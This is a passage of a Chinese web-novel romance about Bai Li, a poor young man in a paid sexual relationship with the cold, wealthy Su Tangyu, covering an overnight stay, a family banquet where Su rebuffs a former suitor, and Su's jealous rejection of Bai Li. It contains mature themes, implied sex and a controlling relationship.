还在犹豫到底是不是苏堂玉来了,白荔便听到敲门声。
没想到男人来得这样快。
他的心跳咚咚敲着,把脑子都要敲坏了。
白荔顾不上许多,回身跑下去开门,男人就站在门口,同他四目相对。
这里的房子很老了,大门的高度不过一米九,又矮又窄。
白荔觉得刚刚好,左右还算宽敞,但苏堂玉站在那儿,一下顶到了门框上。
“……”
“啧,”男人的手抬起来,压着门框,皱眉看着他,很是不满,“这里跟你的屁股一样窄。”
白荔愣了一下,反应过来时,人都熟透了。
万幸现在已经很晚,没有人会经过这里,听到这种不像话的话。
他小声辩驳了一句,“是您太高了。”
“我要进去。”
听到男人的话,白荔一颤,发觉男人不是那个意思,才涨红了脸后知后觉地侧了身,让人进了屋来。
他跟着人身后把门关上,拿凳子给他坐。
白荔偷偷看他,男人看起来有些疲态,像是整夜没睡,眼底有着倦色,一定是工作很辛苦。
安排好人后,白荔又跑到厨房里,拿了干净的杯子给他倒水喝,“先生,我听吴助理说,您明天下午才回来的。”
苏堂玉没有喝水,只看着他,“工作结束,提早回来了。”
“哦,是这样啊……”
白荔坐在他面前,被瞧得低下头去,又伸手摸了摸自己红透的脸,不知道是不是自己脸上有东西才惹得男人注意。
刚才等苏堂玉过来之前,他照了镜子了,好像没看见……
白荔摸不透他的意思,也不知道对方来做什么。
一回来就匆匆来见自己,好像他们在谈恋爱一样。
白荔被自己的想法弄得没脸见人,阖下的眼皮颤颤抬起,“那、您是刚到吗?晚饭吃了吗?要不要我给您煮面吃?”
“吃。”
还以为苏堂玉会嫌弃自己这里脏,不会愿意吃,没想到他竟然同意了。
这几年,家里是第一次有客人来,而且客人还要留在这里吃饭,一定要用心招待的。
白荔兴高采烈地站起来,“那我去做,但是我的手艺不太好,简单一点可以吗?家里还有鸡蛋和小白菜,您应该都可以吃的吧?如果有不吃的食物,可以告诉我。”
白荔说着,就要跑到厨房去给人煮面,路过男人时,却被他伸手拦腰抱起来。
男人精瘦的手臂拦在腰间,白荔被抱起,脚尖悬空,只感觉男人腰间皮带的卡扣硌在他的尾骨上,磨得人有些疼。
“不用。”
苏堂玉的唇贴着他的耳廓,声音是温温热热的沙哑,“我直接吃。”
白荔脸色一白,又很快红透。
“先生……”
他的手指微微陷进苏堂玉箍着他腰的手臂里,侧头想要面对面说话,“先生、这里不隔音……”
苏堂玉笑了一声,“那你得把嘴巴闭好了。”
白荔觉得这样不可以,这会儿他甚至还听到了隔壁有人正常交谈的说话声,只要一动作,似乎所有人都能知道。
但苏堂玉看起来有点着急,他不想让苏堂玉不高兴。
白荔自我挣扎了一番后,还是轻轻点了点头,“嗯……”
苏堂玉才不管白荔的答案是什么,飞机一落地就过来找白荔,为的就是这个。
昨天晚上白荔不在,他又失眠了,一整个晚上没睡,心里躁得很。
见白荔这么乖顺地点头,根本让他温柔不起来。
自然是想怎么做就怎么做。
白荔哪里知道他在想什么,被撞得眼尾通红,也乖乖地咬着衣服不敢出声。
不自觉张口,衣服弄掉了,还要自己撩起来往嘴里塞。
……
夜间的小巷子寂静无声,小猫踏着月光钻进黑暗里。
轻风穿堂而过,爬墙的蔷薇也开始花枝乱颤。
苏堂玉留下来过夜,两人挤在一张小床上翻不动身。
白荔眼皮厚重得睁不开,夏天的湿热覆在身上,黏腻闷热。
上下眼皮打架之中,他看见房间微暗的灯光下,苏堂玉蹲在地上摆弄着风扇。
好像有些不好弄,男人烦躁地站起来,又重新弯腰尝试。
没一会儿,落地的风扇在破旧的房子里嗡嗡响着,这会儿窗户开着送进夜风,房间里逐渐冷下来,温度和味道缓缓消散。
白荔的意识在扇叶转动的声音中渐渐模糊。
他感觉到床边往下沉,男人自然而然地抱过他。
他的脑袋抵在苏堂玉的怀里,不同于前一晚入睡前的不安,这会儿被苏堂玉抱着,感觉整个人嵌进他的身体里,迷迷糊糊的闻到他身上味道,踏实入了梦去。
今晚的白荔睡得很沉,但是睡得不太好,哼哼唧唧地嘟囔着。
苏堂玉垂眸瞧了他一眼,没看到他的脸,只瞧见他头顶被汗弄湿的发旋。
这会儿苏堂玉对这些倒是满不在乎,也没叫人起来洗澡。
怀里抱着一个温软的白荔,像是有魔力,很快,他也随着怀里人的呼吸睡下了。
窗外的天微微发白的时候,苏堂玉睡到一半醒来,胸口微微发闷。
他抬头,发现是床太小,白荔不知什么时候趴在他的身上睡着了。
青年的脸压在他的胸口,软乎乎的脸蛋被挤得变了形。
苏堂玉伸手揉了揉他的耳珠,可能是觉得痒,他的脸颊在他胸口蹭了蹭,又转了一边继续睡。
他这两天好像是长肉了。
抱起来手感更好,这钱也没算白花。
苏堂玉把人往上抱了一点。
“给了你这么多钱,就住这种破地方。”
白荔呓语,嗯了一声,似是在回应,听得苏堂玉气得发笑,“操。”
……
白荔在定好的闹钟响起之前先醒过来,他起身眯着眼左右张望,感觉睡的床和平时的触感不太一样,后知后觉地从苏堂玉身上爬起来,把一向浅眠的人也惊醒了。
“几点了。”
白荔被他一并抱起,才发现自己躺在苏堂玉身上睡了一夜,他红着脸伸手去拿手机,“六点半了。”
苏堂玉埋进他的颈窝,哑声道,“我去洗澡。”
闷闷的声音又极为贴近耳根,烧得白荔眼皮发烫。
他跟着苏堂玉走了两步,
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站在浴室外面探着脑袋同他说话,“这里的花洒有点漏水,先生用的时候要小心,还有沐浴露我放在外面了,您要用的话得拿进去,衣服我放在外面给您。”
苏堂玉有点起床气,白荔是知道的。
他这会儿说完,就把脑袋收回来,不等苏堂玉回应,趿拉着拖鞋哒哒地往柜子那边走。
果不其然水流声一响起,他就听到了苏堂玉暴跳如雷的声音,“这什么东西!白荔!”
花洒是很不好了,一打开就跟喷泉一样溅得到处都是,他还没来得及买新的换上。
白荔都能想到苏堂玉此刻的表情一定是闭着眼睛咬牙切齿的。
怕人追出来责问他,他捂着耳朵没敢听,等浴室安静下来,他才拿着衣服蹑手蹑脚地放在门口。
是之前苏堂玉给他买的新衣服,他还有没穿过。
有两件短袖是宽版的,他比划了一下是很大一件,给他穿太大了,给苏堂玉正合适。
等安排完苏堂玉,白荔才下楼简单洗漱了一下,等吃完早餐他也打算洗个澡。
这会儿他掏了掏冰箱,还是把昨晚没能煮上的面拿出来煮了。
苏堂玉是不吃早餐的,但他这里没有咖啡,也不能什么都不吃吧。
白荔站在厨房,时时注意着楼上的动静。
不一会儿他听见男人下了楼来的脚步声,便仰着身子去观察。
苏堂玉穿了他准备的短袖,裤子可能是太短了,他还是套了昨晚穿过来的那条西裤。
难得看见他穿私服的样子,一瞬间亲切了很多,连那张冷淡的脸看着都柔和了不少。
白荔在他望过来的时候开口,“先生,我煮了面,很快就好了,您吃一点吧。”
灶台上冒出袅袅热气,青年站在那里,双眸望过来,是眼里只有他的模样。
苏堂玉稍愣,原本立刻想走的,这会儿却鬼使神差地坐了下来。
白荔见他要吃,满心欢喜地转过身去守在锅前。
锅里咕噜咕噜地冒着热汤,面条也下锅煮了两分钟,可白荔今天有些心急了。
他想着这么慢,苏堂玉会不会等得不耐烦,会不会就不想吃了。
他瞧瞧锅,又转头偷偷看男人的脸色,偷偷把火开得大了一点,还随时转身提醒,“就快好啦。”
看着白荔不经意露出急急忙忙的小动作,苏堂玉反倒多了点耐心。
过了五分钟,面终于好了,也不知道白荔期间转身了多少次,说了几句就快好了。
苏堂玉盯着面前简单的清汤面,又见青年端正坐在对面小兔子般地望过来,才勉强拿起筷子,“你不吃?”
“我要吃的,”白荔点点头,“您觉得味道淡了的话可以告诉我,我下次会改。”
“我不吃这些。”
苏堂玉尝了两口便放下筷子,没说淡了或者咸了,也没说好吃不好吃。
虽然白荔煮的时候就知道可能会这样,但苏堂玉说吃,所以他刚才期待了很久,这会儿见苏堂玉如此冷淡,他不免还是有些失落。
白荔埋头吃自己的,突然听见他说,“钥匙给我。”
正盘算着如何不动声色地把苏堂玉那碗也吃了,而化悲伤为食欲的白荔,“?”
“备份钥匙给我。”
白荔红着脸摇摇头,这和同居有什么分别。
“拒绝我?”
白荔点点头,“我只有一把钥匙,不能给你的。”
“……”
18. 没兴趣
问了房东奶奶,白荔得知自己住的后巷里,有个开补鞋店兼裁缝店的爷爷,他那里可以配钥匙。
白荔把钥匙拿到他那里多配了一把,留下了旧的,把新配的钥匙交给了苏堂玉。
男人似乎在为他没有第一时间拿出钥匙耿耿于怀,收钥匙的时候冷酷着脸,叫人不敢多说一个字。
不过最后对方总算是收下了,白荔为此松了口气,又觉得两人的关系似乎没有好到可以类似同居的地步。
总之,他心里其实还是有些期待的。
奶奶住院以后,他就是一个人了,每天起床睡觉,家里都是冷清的。
即便房子很小,稍微有点声响,也会令人提心吊胆。
有苏堂玉在的话,就算是不说话,好歹也多了分人气。
其实,他还是在期待苏堂玉过来的。
日子有了盼头才能越过越好,奶奶是他的盼头,现在苏堂玉也是了。
只不过从那天起,苏堂玉并没有过来同他见面。
他们见面的地点,依旧是在酒店、别墅。
然后每天做着那些事情。
白荔想在一起聊点别的,可男人似乎不太想,一上来就直奔主题,他们之间的对话少得可怜。
虽然好像这样,才是对的。
“明晚有事。”
酒店房间里,苏堂玉点烟。
他没听到青年的回应,目光下意识地往身旁瞥去。
对方不知什么时候睡着了,他侧躺着,巴掌大的小脸陷进枕头里,睫毛还是湿的。
他的睫毛很漂亮。
明明是偏圆的杏眼,漆黑纤长的睫毛却在眼尾延伸上翘,像是画出来似的,清透干净。
眨眼时像是振翅的小蝴蝶,又被眼尾那颗很浅的小痣衬得诱人。
苏堂玉怔怔地瞧着他,指腹揉红他的眼尾,抚弄他的唇瓣,挑开他的齿间找到他的舌尖。
青年似乎在梦里也有所感应,被弄得扁了扁嘴,泪眼朦胧地睁开眼睛,“呜……”
苏堂玉咬着烟,目光顿时暗下来。
不过才结束,一看见白荔哭唧唧的,又开始积极向上罢了。
……
白荔在酒店睡到中午才起,苏堂玉已经不知所踪。
身旁床铺的温度几乎没有,看样子已经离开许久。
阳光被酒店厚重的窗帘遮挡,在离地面一公分左右的地方有金黄的光线射进来,看样子今天又是个晴天。
周六休息,他今天不用去上班。
以前安排得满满当当的兼职,在和苏堂玉在一起以后也减少了很多。
白荔在床上翻了个身,本来还想发会儿呆,又感觉下半身不对。
想都不用想,是那个。
苏堂玉好像不喜欢用,每次都这样。
就算有时候用了,最后也是一样的结果。
白荔一开始还会求求他,后来发现求他也没有用,还会让男人生气,后来就学乖闭上了嘴。
浴室里蒸腾着热气,白荔站在花洒下淋浴,双腿发软地靠在墙面上。
他呆呆地盯着地面的白色瓷砖,脑海里不知不觉浮现出苏堂玉的脸。
今天他们不是一块儿起床的,感觉有点寂寞。
白荔被自己的这个想法震惊,回过神来,脑袋都是热的。
他缓缓蹲下来抱着双膝,一闭眼就是控制不住的想到苏堂玉。
一睁开眼睛想到昨晚在浴室,他又噌地站起来,轻拍着自己烧红的脸,“不可以这样。”
*
“今晚我爷爷的七十大寿,别忘了。”
周榕溪好不容易抽空给苏堂玉打电话,这会儿打到第三个男人才接,她好奇问道,“周末早上,你不接我电话,你不会是在睡觉吧?”
“知道。”
苏堂玉只挑了自己想说的话回答,刚要挂电话,又被女人阻拦,“等一下,晚上我穿蓝色的礼服,你跟我搭一下嘛。”
“没必要。”
“才不是没必要,我最近才稍微接手了一点公司的事,要是被老头子看出我们根本就没关系,那我之前做的全都白费了,那老家伙精得很。”
“挂了。”
“诶诶!等等等等!”周榕溪眼见着苏堂玉要挂电话,急得抓耳挠腮,“不配合我的衣服也行,到时候你离我近点就好,这样总行了吧。”
想到什么,周榕溪挑眉一笑,“另外,作为交换,我再告诉你一件事儿,之前就想跟你说,但你没听。”
“……”
“向宜安回来了,今晚他也来。”
电话毫不意外地被苏堂玉挂断,周榕溪放下手边的咖啡,欣赏着窗外花园的美景。
今年的月季开得很好,大片的花束在烈日下也能招蜂引蝶。
周榕溪的指腹摩挲着杯壁,正是一副看好戏的姿态。
当年向宜安对苏堂玉死缠烂打两年,终于让苏堂玉看了他一眼。
谁知道后来对方就一声不吭地出了国,没两天就交往了个外国人,说只是把苏堂玉当哥哥,那可是他们几个都知道的事儿。
什么当哥哥,不如说是把苏堂玉当炫耀的资本。
毕竟苏堂玉可是出了名的“性冷淡”,谁也入不了他的眼,看谁都没有欲望。
就连公认的大美人穿着情趣内衣偷偷爬他的床主动献身,都被他踹断了两根肋骨送医院去了。
向宜安当时对外宣称他跟苏堂玉交往,苏堂玉没有反驳,也是大家没想到。
虽然她好像是听说过向宜安曾经也想复刻情趣大美人的爬床方式,但最后也是差点被苏堂玉复刻进医院的事……
但即使两人什么都没有,在外面,光是有个苏堂玉“情人”的名头,办事就足够顺风顺水了。
这会儿向宜安回来,指定又是混不下去来找苏堂玉求和。
之前男人还到她的公司来面试,不知道苏堂玉现在对他什么态度,周榕溪没敢留他。
原是想早点告诉苏堂玉的,只不过那时候在影城被那个小青年干扰,才没说完。
希望向宜安能安分点,别在宴会上就惹恼了苏堂玉,继而打扰到她。
……
“周总,生辰快乐,您看着是越来越精神了。”
“哈哈,这退休了没有烦心事,人自然精神了,大家先吃好喝好,吃好喝好。”
周榕溪看了一眼被人群簇拥的老爷子,以及老爷子身边的哥哥,被遗忘的她淡然将视线转移到角落里,那个向宜安的身上。
男人的外表不太出众,非要说的话,就是看起来清纯,站在人群里是不突出的存在。
如果不是苏堂玉,周榕溪根本不会认识他。
向宜安接近苏堂玉的时候
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,向家还只是小门小户,近年来稍微做大了一些,不过大部分也都是海外生意,在国内的影响并不大。
只是周家这两年也有向海外发展的趋势,所以这次宴会破天荒地请了向家,也算是误打误撞,竟然碰到向宜安回来。
说起来,不会不是误打误撞,而是蓄谋已久的吧。
周榕溪听到一阵轻微的讨论声。
她看向宴会厅大门,终于看到苏堂玉的身影出现。
男人穿着黑色正装身姿挺拔,在一众长相平庸初具人形的男性中间,一出现就是鹤立鸡群,只是身上没有一点元素和她是相配的。
果然,她就不能奢求这个男人哪怕有一点怜悯之心。
她呼了一口气,在大家的注视下往门口走,自然而然地走在他身边,“你来晚了一点。”
苏堂玉没说话,照旧是爱答不理的状态。
周榕溪习惯了他这副死人脸,没觉得不自在,倒是角落里的向宜安身影一愣。
周榕溪察觉到对方有所动作,偏头提醒苏堂玉,“你瞧,那人准备过来了。”
苏堂玉好像对向宜安完全不感兴趣,闻言目光没有移开一点,只是朝寿星公走去。
周榕溪巴不得苏堂玉对向宜安彻底遗忘,这会儿赶紧跟上去同苏堂玉走到了周辽身边。
“周老先生。”
“堂玉,来来来,果真是你来给老爷子我祝寿,”周辽笑呵呵地摸了把胡子,这会儿才不动声色将周榕溪拉到身边来,特意同旁人提到,“榕溪说你今天过来,小丫头没骗我。”
苏堂玉微微点头,没作声。
倒叫旁的人起了哄,说了些打探的话,“没想到苏总和周小姐的关系这么好,我今天本来还有意给我家那不争气的儿子讨个认识周小姐的机会呢,哈哈,看来我只能叫他别想了。”
“蒋叔叔,这朋友我可不嫌多,”周榕溪在人面前露了脸,笑呵呵道,“将来有机会说不定我们也能合作呢。”
“对对对,还是周小姐会说话,瞧我……”
同苏堂玉一块儿进来的周榕溪霎时间成了焦点,被挤到一旁的周家长子顿时拉下脸来。
这原本是借着周老爷子生日介绍他的场合,竟然被周榕溪夺走了。
他站在旁边陪笑,脸都快笑僵了,也没能在合适的时机插上几句话。
不就是和苏家沾上点关系吗,有什么了不起的,反正周家到最后,也只会是他掌权。
周榕溪被周老爷子一同带在身边。
而苏堂玉很快被上前攀谈的人包围,这位很少出席他方宴会的苏家继承人,每次出现都是香饽饽。
角落里向宜安的目光一直追随着苏堂玉,直到宴会结束,苏堂玉也不曾看他一眼,中间他也没有同男人说话的机会。
眼见着苏堂玉同周老爷子说了一句什么就要走,他赶忙跟上前去,“堂玉。”
“……我回来了。”
“没兴趣。”
向宜安没想到苏堂玉同他说的第一句话竟然是这个,他紧张得磕绊了一声,“什、什么?”
苏堂玉眼皮未动,冷淡的目光似乎都未曾在他身上揭过,“我对身材差劲的丑男不感兴趣。”
“噗……”
站在苏堂玉身边送客的周榕溪一时没忍住,强行憋笑道,“不好意思、不好意思,你们继续、继续。”
19. 吃醋
苏堂玉是这样的。
当年向宜安追着苏堂玉跑的时候没少受过他的冷眼和嘲讽,只是被说丑还是第一次。
他的打击有点大,又心知当年确实是他不好 ,利用了苏堂玉就离开,千错万错都是他的错。
向宜安自以为自己当年能够被苏堂玉另眼相待,可见他在苏堂玉心里还是有些份量。
即使这么多年过去,但曾经有过的感觉大约是不会变得太彻底的。
苏堂玉或许只是恨他的不告而别,以此选择漠视他。
向宜安紧随着苏堂玉的脚步不放,在有人上前同男人攀谈时,他才往后退缩一些。
苏堂玉暂时不想见到他,他理解的,要是再惹火了他,才是不明智的选择。
“苏总,慢走。”
“嗯。”
苏堂玉和旁人分开,正要上车时,向宜安才见缝插针地上前小心握住了他的车门。
他的神色隐匿在车厢灰暗的光线里,只有停车处的灯光照进来,映在他墨如点漆的双眸里反射出冷漠的光亮。
向宜安的手指用力,不肯放开,却有些害怕起来,“堂玉,我们聊聊。”
“我说过什么,你忘了。”
男人低沉的声音穿透的耳朵 ,向宜安双手一抖,不甘不愿地松开,“对不起,如果你还恨我,我再次跟你道歉,对不起。”
司机过来替他关上车门,苏堂玉的声音在轿车的引擎声中变得不那么分明,“别把自己看得太高。”
“……”
“可是堂玉哥,我还是和当年一样喜欢你。”向宜安垂眸,“对不起。”
苏堂玉打开手机给白荔发消息,让他打车去酒店,闻言他放下手机,笑了一声,“你想横着漂出江城吗?”
“什、什么?”向宜安不自觉后退,苏堂玉这个说到做到的疯子,“突然说什么呢?”
煽情暧昧的气氛,被苏堂玉一句带着笑意的威胁变成了惊悚片。
向宜安避而不答,终于在这会儿暂时放弃了纠缠。
车子在他后退的下一秒启动,驶离了周家。
向宜安深吸了几口气,才让自己的心跳平复下来。
苏堂玉还是一如既往的脾气,只要没变,重归于好就方便多了。
其实苏堂玉并没有答应过和他在一起。
在追苏堂玉的第二年,男人破天荒地搭理了他,主动同他说了第一句话。
他问,喜欢他什么。
向宜安说不出来,男人的外貌和家世,一出生就是高人一等,所有人都对他趋之若鹜。
喜欢他什么,不过是哪些庸俗的理由。
钱、权,皮囊和炫耀。
向宜安紧张地开口,说他喜欢他的人,只是一眼就爱上了,没有理由,仅此而已。
向宜安怎么也忘不了,当时苏堂玉看他是,眼里复杂的神情。
那之后他为了向家的资源,也豁出去了,才大胆借由了苏堂玉的名头。
他以为苏堂玉会弄死他,结果并没有。
苏堂玉没有答应他的交往,也没有辟谣他对外宣称的关系,向宜安一直以为,苏堂玉是喜欢上他了,所以才如此纵容他的。
现在看来,好像并不是这样。
还是说,男人现在已经有喜欢的人了,所以才对他如此不屑一顾呢。
*
周六休息的下午,白荔得了空就去医院看望奶奶。
奶奶近来身体指征平稳,越来越好了。
甚至他还能看到奶奶手指有微弱的反应,医生说这是好转的特征,白荔很高兴,却又不敢缠着奶奶讲太多的话。
没有人可以倾诉这份喜悦,但白荔的嘴角一下午都是上扬的。
他开始幻想以后能和奶奶一起生活的日子。
从医院看完奶奶回来的路上,白荔去店里买了一个新的花洒。
原本想买便宜些的塑料花洒,但想到苏堂玉,他还是跟老板拿了最好的。
这钱是从他自己的口袋里掏的。
苏堂玉给他的钱,白荔全都存在了一张卡上,奶奶的医药费大部分都从那张卡里出。
白荔打算等奶奶出院以后,就把卡里剩下的钱还给苏堂玉。
这么多钱放在他手里不安全,怕讨债的人哪天就找上了门,而他现在赚的钱已经可以存下来,到时候应该是够他和奶奶生活的。
白荔拿着新花洒回家,装上试了试没问题,就把家里的东西重新整理了一下。
天很快就黑了,但是苏堂玉没有给他打电话或者发消息。
他想,男人今天应该是不来了吧。
可是以往,对方都会提前告诉他见面或者不见面的。
白荔躺在床上,听着安静的小巷穿过风的声音。
楼下有人敲门,发出破坏的咚咚声。
他不安地从床上坐起,竖起耳朵来听,有个男人的声音,喊着外卖到了。
隔壁有人开门,说了声谢谢。
白荔在放松的那一刻,冷汗沾湿衣裳。
他翻了个身,去开床对面的那台老式的落地风扇,房间里有声音,不至于安静得让人精神紧绷。
这是房东奶奶留在这里的老物件,扇叶的漆面都脱了一点点,刚启动的时候会发出震动的嗡嗡声,但是很凉快。
他蹲在地上对着吹了一会儿,撑着脑袋跟着风扇啊啊了两声,听见自己的声音被吹开,他心满意足地笑了起来。
月亮升至高空,白荔瞧着月光发呆,他划着手机,十点了,还是没有苏堂玉的消息。
看来苏先生今天晚上真的不来了。
白荔抱着被子,蜷缩在自己的小床上。
他找到苏堂玉的对话框,想和他说点什么,又怕打扰对方,最后只给男人发了一句晚安。
周日早上,白荔醒得很早。
他坐起来,蓬着睡乱的头发,呆呆地在床上坐了一会儿。
他好像好久都没有这么闲了,家里还是安安静静的。
白荔听到了窗外有小猫叫,他赶紧爬起来往外一看,小狸花已经钻进了小道里,一条尾巴蓬松炸毛,白荔才发现,好像是两只小猫在吵架,好像骂得还挺脏的。
看完猫咪斗嘴,白荔清醒了。
他拿着手机第一时间去看消息,空空的没有红点点,那条道晚安的消息石沉大海。
不过也是意料之中的事情。
苏堂玉很忙的,哪里有空天天来找他。
白荔起身穿好衣服,柜子边的衣架上,还挂着苏堂玉的领带,以及上次他来家里,换下来没有带走的衬衫和外套。
他对着那衣服站了一会儿,兴致勃勃地跑到衣柜前拿出了自己衣服放在边上,看着看着,脸蛋也变得红扑扑的。
苏先生今天会不会来呢?
白荔晃了晃脑袋,不让自己胡思乱想。
洗漱完毕,他下楼煮着早餐,边在兼职群里找活干,刚把锅关了火,就看见冉虎发来了想看的电影。
距离上次说好要请他看电影的日子已经过去好久了,冉虎一直没提起,白荔也忘得差不多了。
前段时间应该是他们期末考,所以没空,说起来前两天,大学那边已经开始陆陆续续放假了。
难怪,最近兼职群里发出的工作也少了。
白荔给他回了消息,问他今天有没有空。
青年回得很快,像是守在手机前等着,几乎是发出的那一刻,白荔就收到了回信。
【好的哥!我有空我都有空![开心.jpg]】
和冉虎沟通完后,白荔放弃了找兼职的事。
他和冉虎约好下午见面,早上他先去医院陪奶奶,正好从医院出来,那边有直达影城的公交站,可以不用换乘。
“哥,这里!”
白荔提前买好了电影票,选的两点零五分的票,看完电影,还能请孩子吃个饭。
许久没有见面,青年看起来又高了一点,白荔低头看看自己的影子,又偷偷抬头看他,反复对比后终于忍不住问,“你又长高了吗?”
“哥你发现了,嘿,”冉虎特意弯下腰来看他,“不枉我最近喝了那么多牛奶,狂打篮球,看来效果还可以。”
白荔眼睛亮了一亮,但还是矜持地问他,“这样就能长高吗?”
“可以吧,据说男人能长到二十四岁。”
白荔若有所思地点点头,又听见冉虎说,“不过还是得看基因,我爸我妈就还挺高的,我爸一米八五,我妈一米七二。”
爸爸一米七妈妈刚好卡在一米六的白荔本人:“唔,不说这个了。”
冉虎低头瞧着他,灿然一笑,“好的,哥喝什么饮料,我去买。”
“我都可以。”
冉虎选了一部爱情喜剧,整个影片下来,笑点非常密集,结局也没有强行煽情,是一部很轻松的电影。
白荔从头笑到尾,从影院出来,大家都在说电影里的名台词,他光是听着就能再笑出来,“电影很好看,你选得真好。”
“我选电影的能力还是有一手的,”冉虎挺直了背,一直侧身瞧他,“下次要还有好电影,我们再来看吧。”
白荔没多想,“好啊,快四点了,我请你吃晚饭,还是你晚上有安排?”
“吃晚饭。”冉虎极速应答,“我没安排,假期他们都回家了,也没有人陪我玩,我都快无聊死了。”
白荔问,“店里最近不忙吗?”
“放假了,生意就差了一点,等开学了,哥你过来帮忙,我给你开双倍工资。”
白荔被他的话逗笑,歪着脑袋瞧他,“那老板知道了,非得把你抓起来打手板子不可。”
他说着这打趣的话时,尾音拖得长长的,好像一朵棉花糖,软软的,光听着就知道很甜。
白荔从前的声音都是轻轻的,也有点距离。
冉虎第一次听他这样说话,像是在跟他撒娇。
他不争气得脸色一红,嘟囔道,“那就让他打死我好了。”
“?”
白荔没听见他说什么,还以为是他不喜欢聊这些,紧接着把话题又拉回了吃饭上。
他们选了一家人很多的连锁餐厅,光是等就等了半个多小时,吃完出来,天都黑了。
白荔问他还要不要去哪里,还没听到回答,他的手机先响起了铃声。
白荔听到电话铃声,害怕是催债电话,下意识地头皮发麻。
他赶紧拿出来看了一眼,发现是苏堂玉打过来的,以及男人在一个小时前就发了消息,叫他到酒店去。
方才吃饭的地方人很多,又很吵,白荔的心思根本没在手机上,根本没注意。
这会儿他同冉虎说了一句,便走到一边急急忙忙地接起电话。
“先生,我刚刚……”
“在哪。”
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电话的男声并不耐烦的打断他。
白荔不敢瞒着他,实话实说道,“我在影城这边,马上过去,您等我一下就好。”
“等着。”
电话被挂断,意思是,叫他这里不要动吧。
白荔回到冉虎身边,有些为难道,“我们可能不能去别的地方了。”
“发生什么事了?”
“我有个……朋友,待会儿过来找我,有点事情。”白荔心虚得不敢看冉虎的眼睛,又怕被冉虎发现自己和苏堂玉的交集,他双耳通红,“对不起。”
“没关系的哥,今天已经很开心了,我们下次再出来就好了,现在我陪你等朋友过来。”
“我自己等吧,你早点回去休息。”
白荔怕被冉虎瞧见,毕竟他之前连五百都要跟他一个学生借,怎么可能会认识开豪车的朋友,“你打车回去,到家告诉我一声,我出路费。”
“哥你怪怪的。”
冉虎是第一次瞧见这么着急的白荔,青年不会伪装,什么情绪都写在脸上。
冉虎有些担心,更不想走了,“哥,是有什么问题吗?”
他拉住了白荔的手,将人朝自己拉近,“哥……”
“嘟——”
不远处有长响的喇叭声,猛然打破了市区嘈杂的街道。
白荔朝那边看去,一眼就瞧到了熟悉的车子。
没想到苏堂玉来得这样快。
“我朋友来了,”白荔抽回自己的手,不再多说什么,只嘱咐他到家一定要给自己发消息,“你早点回去,下次见。”
“……嗯。”
冉虎看见白荔步履匆忙地朝那辆车小跑而去,在灯光下,白荔对着车里的人笑得很好看。
“先生。”
白荔坐在他身边,唤完他便沉默了下来。
车厢里极为压抑,明明开着冷气,却说不上来的闷。
以往男人还会在他上车时看他一眼,今天却连一个眼神都没有给他。
白荔绞着手指,几次想开口,都没能说出什么来,明明刚才在电话里,还不是这样的。
白荔往车窗外看去,车子越开,越是往他熟悉的路段去,是他回家去的路。
起初白荔还有点疑惑,以为是自己看错了,直到车子开进并不宽阔的巷口,在他家门口停下。
他有些欣喜,跟着男人下车,“先生,不是去酒店吗?”
虽然男人不理他,但他还是很高兴地拿出口袋里的钥匙,借着家门口昏暗的灯光开门,“我昨天刚好把家里打扫了,还有,浴室的花洒也换了新的,不会再溅您一身了,上次您留在这里的衣服,我也有收起来。”
门在说话时被打开,白荔先进去。
他摸索着墙壁上的开关,没来得及打开,男人已经关上了门。
他还未适应完全的黑暗,瞬间有些心慌,“先生,我看不见……”
只是下一秒,他就被人抱着,按在门板上吃。
……
白荔目光涣散。
在休息的间隙,脑袋还是一片空白的,只是哼哼唧唧地哭,身体敏感得忍不住痉挛,也没听到男人说一句话。
“……”
凌晨四点,白荔被房间的灯光晃醒。
他好像有睡了十分钟,睁开眼睛时,发现苏堂玉正站在床边穿衣服。
白荔撑着身体坐起来,对于男人的举动,他有些不知所措,于是小心翼翼地问,“先生,您不在这儿睡吗?”
苏堂玉拾起床边的衬衫,终于开口,“你睡吧。”
今天晚上苏堂玉好像一直在生他的气。
白荔怕他就要走,急急忙忙开口解释,“先生,我不是故意不去酒店的,晚上那个男生是我的朋友,我们在一起吃晚饭,因为太久没见面了,我也没有看手机,所以才……”
“随便。”
“不管是朋友还是什么男朋友,你跟谁在一起我都无所谓,我只要你随叫随到,做不到的话我随时换人。”
他们的之间的关系,就这么直白的,赤裸裸地被苏堂玉摆在这一刻。
他们之间本来就是没有其他感情的,白荔知道,他忽然觉得有点冷,于是拉高了被子,将身体包裹,“嗯。”
苏堂玉看着他把脑袋低下去,那张小脸藏了一半到被子里,根本看不见他现在的神情。
莫名的,苏堂玉的头有些疼,心口也发闷得厉害,但想到在车里看到的场景,他又冷了脸。
苏堂玉拿起一旁的手机准备下楼,余光瞥见衣柜边上的架子挂着自己的衣服,以及那条在车里被白荔紧拽不放的领带也规整地系在领口。
他停下脚步,看见在那前面,白荔的衣服紧贴着他的,像是刻意为之的暧昧。
“……”
“我是说过随你,但你不会以为我们真的在谈恋爱吧。”
白荔闻言,抬眼朝男人看去。
苏堂玉提起他早晨挂在他西服旁边的衣服。
男人的手指一松,他的衣服便掉落在地,堆叠在他的脚边
“摆正自己的身份,别妄想多余的事。”
偷偷摸摸的情感被人毫无遗漏地揭开、践踏,白荔小脸煞白。
他从来不知道,原来喜欢是这么难受的事情。
白荔无措地红了眼眶,不敢被人发现,只是低下头去,哽咽着点了点头,“嗯,我知道的,苏先生。”